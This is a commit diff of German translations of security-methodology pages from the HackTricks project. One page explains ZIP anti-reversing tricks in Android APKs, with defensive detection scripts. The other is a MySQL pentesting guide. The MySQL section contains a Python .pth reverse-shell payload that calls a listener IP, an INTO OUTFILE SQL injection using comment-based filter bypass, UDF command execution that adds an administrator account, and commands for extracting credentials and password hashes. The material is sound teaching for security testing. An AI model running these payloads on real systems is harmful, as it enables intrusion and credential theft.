Translated ['', 'src/windows-hardening/active-directory-methodology/pass

2025-10-10 18:36:50 +00:00 · 2025-09-04 00:55:31 +00:00 · 2025-09-04 00:55:31 +00:00 · 3f43948515
commit 3f43948515
parent ea105ede91
18 changed files with 1733 additions and 1732 deletions
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md
@ -1,28 +1,28 @@
-# ZIP-Tricks
+# ZIPs tricks

 {{#include ../../../banners/hacktricks-training.md}}

-**Kommandozeilen-Tools** zur Verwaltung von **zip files** sind unverzichtbar, um zip files zu diagnostizieren, zu reparieren und zu knacken. Hier einige wichtige Utilities:
+**Command-line tools** zur Verwaltung von **zip files** sind unerlässlich, um Zip-Dateien zu diagnostizieren, zu reparieren und zu knacken. Hier sind einige wichtige Werkzeuge:

- **`unzip`**: Zeigt, warum eine zip file möglicherweise nicht entpackt werden kann.
- **`zipdetails -v`**: Bietet eine detaillierte Analyse der Felder des zip file-Formats.
- **`zipinfo`**: Listet den Inhalt einer zip file auf, ohne sie zu extrahieren.
- **`zip -F input.zip --out output.zip`** und **`zip -FF input.zip --out output.zip`**: Versuchen, beschädigte zip files zu reparieren.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ein Tool zum Brute-Force-Knacken von zip-Passwörtern, effektiv für Passwörter bis etwa 7 Zeichen.
+- **`unzip`**: Zeigt, warum sich eine Zip-Datei möglicherweise nicht entpacken lässt.
+- **`zipdetails -v`**: Bietet eine detaillierte Analyse der Felder im Zip-Dateiformat.
+- **`zipinfo`**: Listet den Inhalt einer Zip-Datei auf, ohne diese zu extrahieren.
+- **`zip -F input.zip --out output.zip`** und **`zip -FF input.zip --out output.zip`**: Versuchen, beschädigte Zip-Dateien zu reparieren.
+- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ein Tool zum Brute-Force-Knacken von Zip-Passwörtern, effektiv für Passwörter bis etwa 7 Zeichen.

-Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) liefert umfassende Details zur Struktur und zu den Standards von zip files.
+Die [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) liefert umfassende Details zur Struktur und den Standards von Zip-Dateien.

-Wichtig ist, dass passwortgeschützte zip files **nicht die Dateinamen oder Dateigrößen verschlüsseln**, ein Sicherheitsmangel, der bei RAR- oder 7z-Dateien nicht vorhanden ist, da diese diese Informationen verschlüsseln können. Außerdem sind zip files, die mit der älteren ZipCrypto-Methode verschlüsselt wurden, anfällig für einen **plaintext attack**, wenn eine unverschlüsselte Kopie einer komprimierten Datei verfügbar ist. Dieser Angriff nutzt den bekannten Inhalt aus, um das Zip-Passwort zu knacken — eine Schwachstelle, die in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) beschrieben und in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) weiter erläutert wird. Zip files, die mit **AES-256** gesichert sind, sind gegen diesen plaintext attack immun, was die Bedeutung sicherer Verschlüsselungsmethoden für sensible Daten unterstreicht.
+Wichtig ist, dass passwortgeschützte Zip-Dateien **keine Dateinamen oder Dateigrößen** innerhalb der Datei verschlüsseln — ein Sicherheitsmangel, der bei RAR- oder 7z-Dateien, die diese Informationen verschlüsseln, nicht vorhanden ist. Darüber hinaus sind Zip-Dateien, die mit der älteren ZipCrypto-Methode verschlüsselt sind, anfällig für einen **plaintext attack**, wenn eine unverschlüsselte Kopie einer komprimierten Datei verfügbar ist. Dieser Angriff nutzt den bekannten Inhalt, um das Zip-Passwort zu knacken — eine Verwundbarkeit, die im [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) beschrieben und in [diesem akademischen Paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) weiter erläutert wird. Zip-Dateien, die hingegen mit **AES-256** verschlüsselt sind, sind gegen diesen plaintext attack immun, was die Bedeutung sicherer Verschlüsselungsmethoden für sensible Daten unterstreicht.

 ---

-## Anti-Reversing-Tricks in APKs durch manipulierte ZIP-Header
+## Anti-reversing tricks in APKs using manipulated ZIP headers

-Moderne Android-Malware-Dropper nutzen fehlerhafte ZIP-Metadaten, um statische Tools (jadx/apktool/unzip) zu zerstören, während die APK auf dem Gerät weiterhin installierbar bleibt. Die häufigsten Tricks sind:
+Moderne Android-Malware-Dropper verwenden fehlerhafte ZIP-Metadaten, um statische Tools (jadx/apktool/unzip) zu zerstören und gleichzeitig die APK auf dem Gerät installierbar zu halten. Die gebräuchlichsten Tricks sind:

- Gefälschte Verschlüsselung durch Setzen des ZIP General Purpose Bit Flag (GPBF) Bit 0
- Ausnutzung großer/benutzerdefinierter Extra fields, um Parser zu verwirren
- Datei-/Verzeichnisnamen-Kollisionen, um echte Artefakte zu verbergen (z. B. ein Verzeichnis namens `classes.dex/` neben der echten `classes.dex`)
+- Fake-Verschlüsselung durch Setzen des ZIP General Purpose Bit Flag (GPBF) Bit 0
+- Ausnutzen großer/benutzerdefinierter Extra-Felder, um Parser zu verwirren
+- Dateiname-/Verzeichnis-Kollisionen, um echte Artefakte zu verbergen (z. B. ein Verzeichnis namens `classes.dex/` neben der echten `classes.dex`)

 ### 1) Fake encryption (GPBF bit 0 set) without real crypto

@ -32,7 +32,7 @@ Symptome:
 ```
 java.util.zip.ZipException: invalid CEN header (encrypted entry)
 ```
- `unzip` fragt nach einem Passwort für zentrale APK-Dateien, obwohl eine gültige APK keine verschlüsselten `classes*.dex`, `resources.arsc` oder `AndroidManifest.xml` haben kann:
+- `unzip` fordert ein Passwort für Kern-APK-Dateien an, obwohl eine gültige APK keine verschlüsselten `classes*.dex`, `resources.arsc`, oder `AndroidManifest.xml` haben kann:

 ```bash
 unzip sample.apk
@ -47,7 +47,7 @@ Erkennung mit zipdetails:
 ```bash
 zipdetails -v sample.apk | less
 ```
-Sieh dir das General Purpose Bit Flag für lokale und zentrale Header an. Ein verräterischer Wert ist, dass Bit 0 gesetzt ist (Encryption), selbst für Core-Einträge:
+Sieh dir das General Purpose Bit Flag für lokale und zentrale Header an. Ein verräterischer Wert ist Bit 0 gesetzt (Encryption) sogar bei Core-Einträgen:
 ```
 Extract Zip Spec      2D '4.5'
 General Purpose Flag  0A09
@ -56,9 +56,9 @@ General Purpose Flag  0A09
 [Bit 3]   1 'Streamed'
 [Bit 11]  1 'Language Encoding'
 ```
-Heuristik: Wenn eine APK auf dem Gerät installiert und ausgeführt wird, aber Kern‑Einträge für Tools als "encrypted" erscheinen, wurde das GPBF manipuliert.
+Heuristik: Wenn eine APK auf dem Gerät installiert und ausgeführt wird, aber Kern‑Einträge für Tools als "verschlüsselt" erscheinen, wurde das GPBF manipuliert.

-Behebung: GPBF-Bit 0 sowohl in den Local File Headers (LFH) als auch in den Central Directory (CD)-Einträgen auf 0 zurücksetzen. Minimaler Byte-Patcher:
+Beheben: Setze Bit 0 des GPBF sowohl in Local File Headers (LFH) als auch in Central Directory (CD)-Einträgen zurück. Minimaler Byte-Patcher:
 ```python
 # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers
 import struct, sys
@ -94,29 +94,31 @@ Verwendung:
 python3 gpbf_clear.py obfuscated.apk normalized.apk
 zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
 ```
-Sie sollten nun `General Purpose Flag  0000` bei den Core-Einträgen sehen und Tools werden die APK erneut parsen.
+Sie sollten nun `General Purpose Flag  0000` bei den Kerneinträgen sehen und Tools werden die APK wieder parsen.

-### 2) Große/benutzerdefinierte Extra fields, um parsers zu brechen
+### 2) Große/benutzerdefinierte Extra-Felder, um Parser zu brechen

-Angreifer stopfen übergroße Extra fields und ungewöhnliche IDs in headers, um decompilers auszutricksen. In der Praxis sieht man dort möglicherweise eigene Marker (z. B. Strings wie `JADXBLOCK`) eingebettet.
+Angreifer packen übergroße Extra-Felder und ungewöhnliche IDs in Header, um Decompiler auszulösen. In freier Wildbahn kann man dort benutzerdefinierte Marker sehen (z. B. strings wie `JADXBLOCK`) eingebettet.
+
+Inspektion:
 ```bash
 zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
 ```
-Beobachtete Beispiele: unbekannte IDs wie `0xCAFE` ("Java Executable") oder `0x414A` ("JA:") mit großen Payloads.
+Beobachtete Beispiele: unbekannte IDs wie `0xCAFE` ("Java Executable") oder `0x414A` ("JA:") mit großen payloads.

 DFIR-Heuristiken:
- Alarm auslösen, wenn Extra fields bei Kern-Einträgen (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) ungewöhnlich groß sind.
- Unbekannte Extra IDs in diesen Einträgen als verdächtig einstufen.
+- Alarm auslösen, wenn Extra-Felder bei Kern-Einträgen (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`) ungewöhnlich groß sind.
+- Unbekannte Extra-IDs in diesen Einträgen als verdächtig behandeln.

-Praktische Gegenmaßnahme: Neuaufbau des Archives (z. B. erneutes Zippen der extrahierten Dateien) entfernt bösartige Extra fields. Wenn Tools das Extrahieren wegen gefälschter Verschlüsselung verweigern, zuerst GPBF bit 0 wie oben löschen, dann neu verpacken:
+Praktische Gegenmaßnahme: Das Neuaufbauen des Archivs (z. B. erneutes Zippen der extrahierten Dateien) entfernt bösartige Extra-Felder. Wenn Tools die Extraktion aufgrund gefälschter Verschlüsselung verweigern, setzen Sie zuerst GPBF bit 0 wie oben beschrieben zurück und verpacken dann neu:
 ```bash
 mkdir /tmp/apk
 unzip -qq normalized.apk -d /tmp/apk
 (cd /tmp/apk && zip -qr ../clean.apk .)
 ```
-### 3) File/Directory name collisions (hiding real artifacts)
+### 3) Datei-/Verzeichnisnamen-Kollisionen (Verbergen echter Artefakte)

-Ein ZIP kann sowohl eine Datei `X` als auch ein Verzeichnis `X/` enthalten. Manche extractors und decompilers werden verwirrt und können die echte Datei durch einen Verzeichniseintrag überlagern oder verbergen. Dies wurde bei Einträgen beobachtet, die mit Kern-APK-Namen wie `classes.dex` kollidieren.
+Eine ZIP kann sowohl eine Datei `X` als auch ein Verzeichnis `X/` enthalten. Manche Extractoren und Decompiler werden dadurch verwirrt und können die eigentliche Datei durch einen Verzeichniseintrag überlagern oder verbergen. Das wurde bei Einträgen beobachtet, die mit zentralen APK-Namen wie `classes.dex` kollidierten.

 Triage und sichere Extraktion:
 ```bash
@ -129,7 +131,7 @@ unzip normalized.apk -d outdir
 # replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
 # new name: unk_classes.dex
 ```
-Programmatische Erkennung Nachfix:
+Programmatische Erkennung (Suffix):
 ```python
 from zipfile import ZipFile
 from collections import defaultdict
@ -146,14 +148,14 @@ for base, variants in collisions.items():
 if len(variants) > 1:
 print('COLLISION', base, '->', variants)
 ```
-Erkennungsansätze für das Blue Team:
+Ideen zur Blue-Team-Erkennung:
 - Markiere APKs, deren lokale Header Verschlüsselung kennzeichnen (GPBF bit 0 = 1), die sich dennoch installieren/ausführen.
- Markiere große/unklare Extra-Felder in Core-Einträgen (nach Markern wie `JADXBLOCK` suchen).
- Markiere Pfad-Kollisionen (`X` und `X/`) insbesondere für `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
+- Markiere große/unklare Extra-Felder bei Kern-Einträgen (achte auf Marker wie `JADXBLOCK`).
+- Markiere Pfad-Kollisionen (`X` und `X/`) speziell für `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.

 ---

-## References
+## Referenzen

 - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
 - [GodFather – Part 1 – A multistage dropper (APK ZIP anti-reversing)](https://shindan.io/blog/godfather-part-1-a-multistage-dropper)
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
--- a/src/mobile-pentesting/android-app-pentesting/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/README.md
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@ -2,9 +2,9 @@

 {{#include ../banners/hacktricks-training.md}}

-## **Basic Information**
+## **Grundlegende Informationen**

-**MySQL** kann als ein Open-Source-**Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es verwendet die **Structured Query Language (SQL)** und ermöglicht die Verwaltung und Manipulation von Datenbanken.
+**MySQL** ist ein Open-Source-Relationales Datenbank-Managementsystem (RDBMS), das kostenfrei verfügbar ist. Es verwendet die **Structured Query Language (SQL)** und ermöglicht die Verwaltung und Manipulation von Datenbanken.

 **Standardport:** 3306
 ```
@ -17,14 +17,14 @@
 mysql -u root # Connect to root without password
 mysql -u root -p # A password will be asked (check someone)
 ```
-### Remote
+### Fernzugriff
 ```bash
 mysql -h <Hostname> -u root
 mysql -h <Hostname> -u root@localhost
 ```
-## Externe Enumeration
+## External Enumeration

-Einige der Enumeration-Aktionen erfordern gültige Anmeldedaten
+Einige der enumeration-Aktionen erfordern gültige Anmeldeinformationen
 ```bash
 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 msf> use auxiliary/scanner/mysql/mysql_version
@ -78,7 +78,7 @@ quit;
 mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
 mysql -u root -h 127.0.0.1 -e 'show databases;'
 ```
-### MySQL-Berechtigungsaufzählung
+### MySQL Berechtigungsaufzählung
 ```sql
 #Mysql
 SHOW GRANTS [FOR user];
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
 #@ Functions not from sys. db
 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
 ```
-In der Dokumentation können Sie die Bedeutung jeder Berechtigung sehen: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
+Die Bedeutung jedes Privileges findest du in der Dokumentation: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)

 ### MySQL File RCE

@ -112,33 +112,33 @@ In der Dokumentation können Sie die Bedeutung jeder Berechtigung sehen: [https:

 #### INTO OUTFILE → Python `.pth` RCE (site-spezifische Konfigurations-Hooks)

-Durch Ausnutzung des klassischen `INTO OUTFILE`-Primitives ist es möglich, *beliebige Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
+Durch Missbrauch des klassischen `INTO OUTFILE`-Primitives ist es möglich, *beliebige Code-Ausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.

 1. Verwende `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
 2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der bei jedem Start des Interpreters ausgeführt wird.
-3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständiges pre-auth RCE).
+3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird das Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → full pre-auth RCE).

-Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
+Beispiel `.pth`-Payload (eine einzelne Zeile, es dürfen keine Leerzeichen im finalen SQL-Payload enthalten sein, daher kann hex/`UNHEX()` oder String-Konkatenation erforderlich sein):
 ```python
 import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 ```
-Beispiel, wie die Datei durch eine **UNION** query erstellt wird (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")`-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 bytes zu halten):
+Beispiel für das Erstellen der Datei durch eine **UNION** query (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")` Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten):
 ```sql
 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 ```
 Wichtige Einschränkungen & Umgehungen:

-* `INTO OUTFILE` **kann vorhandene Dateien nicht überschreiben**; wähle einen neuen Dateinamen.
-* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, um den Pfad zu verkürzen und absolute Pfad-Einschränkungen zu umgehen.
-* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jedes Leerzeichen die Nutzlast abschneiden; verwende MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
-* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Appliances (z. B. FortiWeb) läuft der Service als **root**, wodurch Schreibzugriff fast überall möglich ist.
+* `INTO OUTFILE` **kann bestehende Dateien nicht überschreiben**; wähle einen neuen Dateinamen.
+* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, den Pfad zu verkürzen und absolute-Pfad-Beschränkungen zu umgehen.
+* Wenn die Eingabe des Angreifers mit `%128s` (oder ähnlichem) extrahiert wird, schneidet jedes Leerzeichen die payload ab; verwende MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
+* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt die `FILE`-Berechtigung, aber in vielen Appliances (z. B. FortiWeb) läuft der Dienst als **root**, wodurch Schreibzugriff fast überall möglich ist.

-Nachdem die `.pth` abgelegt wurde, rufe einfach ein beliebiges CGI auf, das vom python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:
+Nachdem die `.pth` abgelegt wurde, fordere einfach ein beliebiges CGI an, das vom python interpreter verarbeitet wird, um code execution zu erhalten:
 ```
 GET /cgi-bin/ml-draw.py HTTP/1.1
 Host: <target>
 ```
-Der Python-Prozess importiert die bösartige `.pth` automatisch und führt das shell payload aus.
+Der Python-Prozess wird die bösartige `.pth` automatisch importieren und das shell payload ausführen.
 ```
 # Attacker
 $ nc -lvnp 4444
@ -148,22 +148,21 @@ uid=0(root) gid=0(root) groups=0(root)
 ---


-## MySQL: Beliebiges Dateilesen durch den Client
+## MySQL arbitrary read file by client

-Tatsächlich, wenn du versuchst, **load data local into a table** den **Inhalt einer Datei** zu laden, fordert der MySQL- oder MariaDB-Server den **Client auf, sie zu lesen** und den Inhalt zu senden. **Wenn du einen mysql client manipulieren kannst, damit er sich mit deinem eigenen MySQL-Server verbindet, kannst du beliebige Dateien lesen.**\  
-Bitte beachte, dass dies das Verhalten ist, wenn verwendet wird:
+Tatsächlich: Wenn du versuchst, mit **load data local into a table** den **content of a file** zu laden, fordert der MySQL- oder MariaDB-Server den **client to read it** auf und der Client sendet den Inhalt. **Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.**\
+Bitte beachte, dass dieses Verhalten bei Verwendung von:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(Beachte das Wort "local")\
-Ohne das Wort "local" kann man Folgendes erhalten:
+(Beachte das Wort "local")\ Denn ohne das "local" bekommst du:
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
-**Initialer PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\  
+**Erstes PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**In diesem Paper finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn zu RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
 **Hier finden Sie eine Übersicht über den Angriff:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)


@ -172,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti

 ## POST

-### Mysql Benutzer
+### Mysql-Benutzer

 Es ist sehr interessant, wenn mysql als **root** läuft:
 ```bash
 cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
 ```
-#### Gefährliche Einstellungen von mysqld.cnf
+#### Gefährliche Einstellungen in mysqld.cnf

-In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen genutzt, um Betrieb und Sicherheit festzulegen:
+In der Konfiguration von MySQL-Diensten werden verschiedene Einstellungen verwendet, um den Betrieb und die Sicherheitsmaßnahmen zu definieren:

- Die **`user`**-Einstellung legt den Benutzer fest, unter dem der MySQL-Dienst ausgeführt wird.
- Mit **`password`** wird das Passwort des MySQL-Benutzers festgelegt.
- **`admin_address`** gibt die IP-Adresse an, die auf dem administrativen Netzwerkinterface für TCP/IP-Verbindungen lauscht.
- Die **`debug`**-Variable zeigt die aktuellen Debug-Konfigurationen an, die sensible Informationen in Logs enthalten können.
- Mit **`sql_warnings`** wird gesteuert, ob Informationsstrings für INSERT-Anweisungen mit einer Zeile erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten.
- Mit **`secure_file_priv`** wird der Umfang von Import- und Export-Operationen eingeschränkt, um die Sicherheit zu erhöhen.
+- Die **`user`**-Einstellung wird genutzt, um den Benutzer anzugeben, unter dem der MySQL-Dienst ausgeführt wird.
+- **`password`** wird verwendet, um das Passwort des MySQL-Benutzers festzulegen.
+- **`admin_address`** gibt die IP-Adresse an, die auf der administrativen Netzwerkschnittstelle für TCP/IP-Verbindungen lauscht.
+- Die **`debug`**-Variable gibt die aktuellen Debug-Konfigurationen an, einschließlich sensibler Informationen in den Logs.
+- **`sql_warnings`** steuert, ob Informationsstrings für Einzelzeilen-INSERT-Anweisungen erzeugt werden, wenn Warnungen auftreten — diese können sensible Daten in den Logs enthalten.
+- Mit **`secure_file_priv`** wird der Umfang von Datenimport- und -exportvorgängen eingeschränkt, um die Sicherheit zu erhöhen.

-### Privilege escalation
+### Privilegieneskalation
 ```bash
 # Get current user (an all users) privileges and hashes
 use mysql;
@ -210,16 +209,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 ```
 ### Privilege Escalation via library

-Wenn der **mysql server is running as root** (oder ein anderer, höher privilegierter Benutzer), können Sie ihn dazu bringen, Befehle auszuführen. Dafür müssen Sie **user defined functions** verwenden. Und um eine user defined zu erstellen, benötigen Sie eine **library** für das OS, auf dem mysql läuft.
+Wenn der **mysql server is running as root** (oder ein anderer, höher privilegierter Benutzer) läuft, kannst du ihn Befehle ausführen lassen. Dafür musst du **user defined functions** verwenden. Und um eine user defined zu erstellen, benötigst du eine **library** für das OS, auf dem mysql läuft.

-Die bösartige library, die verwendet werden kann, finden Sie in sqlmap und in metasploit, indem Sie **`locate "*lib_mysqludf_sys*"`** ausführen. Die **`.so`**-Dateien sind **linux** libraries und die **`.dll`** sind die **Windows**-Versionen — wählen Sie die, die Sie benötigen.
+Die bösartige Library, die verwendet werden soll, findest du in sqlmap und metasploit, indem du **`locate "*lib_mysqludf_sys*"`** ausführst. Die **`.so`** Dateien sind **linux** libraries und die **`.dll`** die **Windows**-Dateien — wähle die, die du brauchst.

-Wenn Sie diese libraries **nicht haben**, können Sie entweder **danach suchen**, oder diesen [**linux C code**](https://www.exploit-db.com/exploits/1518) herunterladen und **compile it inside the linux vulnerable machine**:
+Wenn du diese Libraries **nicht hast**, kannst du entweder **danach suchen**, oder diesen [**linux C code**](https://www.exploit-db.com/exploits/1518) herunterladen und ihn **auf der verwundbaren linux-Maschine kompilieren**:
 ```bash
 gcc -g -c raptor_udf2.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 ```
-Jetzt, da Sie die Bibliothek haben, melden Sie sich im Mysql als privilegierter Benutzer (root?) an und befolgen Sie die nächsten Schritte:
+Jetzt, da du die Bibliothek hast, login im Mysql als privilegierter Benutzer (root?) und folge den nächsten Schritten:

 #### Linux
 ```sql
@ -255,36 +254,36 @@ SELECT sys_exec("net localgroup Administrators npn /add");
 ```
 #### Windows-Tipp: Verzeichnisse mit NTFS ADS aus SQL erstellen

-Unter NTFS kann man die Erstellung von Verzeichnissen mittels eines alternate data stream erzwingen, selbst wenn nur eine file write primitive existiert. Wenn die classic UDF chain ein `plugin`-Verzeichnis erwartet, dieses aber nicht existiert und `@@plugin_dir` unbekannt oder gesperrt ist, kann man es zuerst mit `::$INDEX_ALLOCATION` erstellen:
+Auf NTFS kannst du die Erstellung von Verzeichnissen mithilfe eines alternativen Datenstroms (alternate data stream) erzwingen, selbst wenn nur ein file write primitive vorhanden ist. Wenn die klassische UDF chain ein `plugin`-Verzeichnis erwartet, dieses aber nicht existiert und `@@plugin_dir` unbekannt oder gesperrt ist, kannst du es zuerst mit `::$INDEX_ALLOCATION` erstellen:
 ```sql
 SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
 -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
 ```
-Dies verwandelt das eingeschränkte `SELECT ... INTO OUTFILE` in ein umfassenderes Primitiv auf Windows-Stacks, indem die für UDF drops benötigte Ordnerstruktur erstellt wird.
+Damit lässt sich das eingeschränkte `SELECT ... INTO OUTFILE` auf Windows-Stacks zu einer vollständigeren Primitive ausbauen, indem die für UDF drops benötigte Ordnerstruktur angelegt wird.

-### MySQL-Zugangsdaten aus Dateien extrahieren
+### MySQL-Anmeldedaten aus Dateien extrahieren

-In _/etc/mysql/debian.cnf_ findet man das **Klartext-Passwort** des Benutzers **debian-sys-maint**
+In _/etc/mysql/debian.cnf_ findest du das **Klartext-Passwort** des Benutzers **debian-sys-maint**
 ```bash
 cat /etc/mysql/debian.cnf
 ```
-Du kannst **diese credentials verwenden, um dich in die mysql database einzuloggen**.
+Du kannst **use these credentials to login in the mysql database**.

-In der Datei: _/var/lib/mysql/mysql/user.MYD_ findest du **alle hashes der MySQL-Benutzer** (die du aus mysql.user innerhalb der Datenbank extrahieren kannst)_._
+In der Datei: _/var/lib/mysql/mysql/user.MYD_ findest du **all the hashes of the MySQL users** (die du aus mysql.user in der Datenbank extrahieren kannst)_._

 Du kannst sie extrahieren, indem du:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
-### Logging aktivieren
+### Aktivierung der Protokollierung

-Du kannst das Logging von MySQL-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem du die Kommentare in den folgenden Zeilen entfernst:
+Sie können die Protokollierung von mysql-Abfragen in `/etc/mysql/my.cnf` aktivieren, indem Sie die Kommentarzeichen der folgenden Zeilen entfernen:

 ![](<../images/image (899).png>)

 ### Nützliche Dateien

-Configuration Files
+Konfigurationsdateien

 - windows \*
 - config.ini
@ -299,14 +298,14 @@ Configuration Files
 - /var/lib/mysql/my.cnf
 - \~/.my.cnf
 - /etc/my.cnf
- Command History
+- Befehlsverlauf
 - \~/.mysql.history
- Log Files
+- Protokolldateien
 - connections.log
 - update.log
 - common.log

-## Standard MySQL Datenbank/Tabellen
+## Standard-MySQL-Datenbanken/-Tabellen

 {{#tabs}}
 {{#tab name="information_schema"}}
@ -611,7 +610,7 @@ x$statements\_with\_errors\_or\_warnings\
 x$statements_with_full_table_scans\
 x$statements\_with\_runtimes\_in\_95th\_percentile\
 x$statements_with_sorting\
-x$statements_with_temp_tables\
+x$statements\_with\_temp\_tables\
 x$user_summary\
 x$user\_summary\_by\_file\_io\
 x$user_summary_by_file_io_type\
@ -657,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

 ```
-## 2023-2025 Höhepunkte (neu)
+## 2023-2025 Highlights (neu)

 ### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
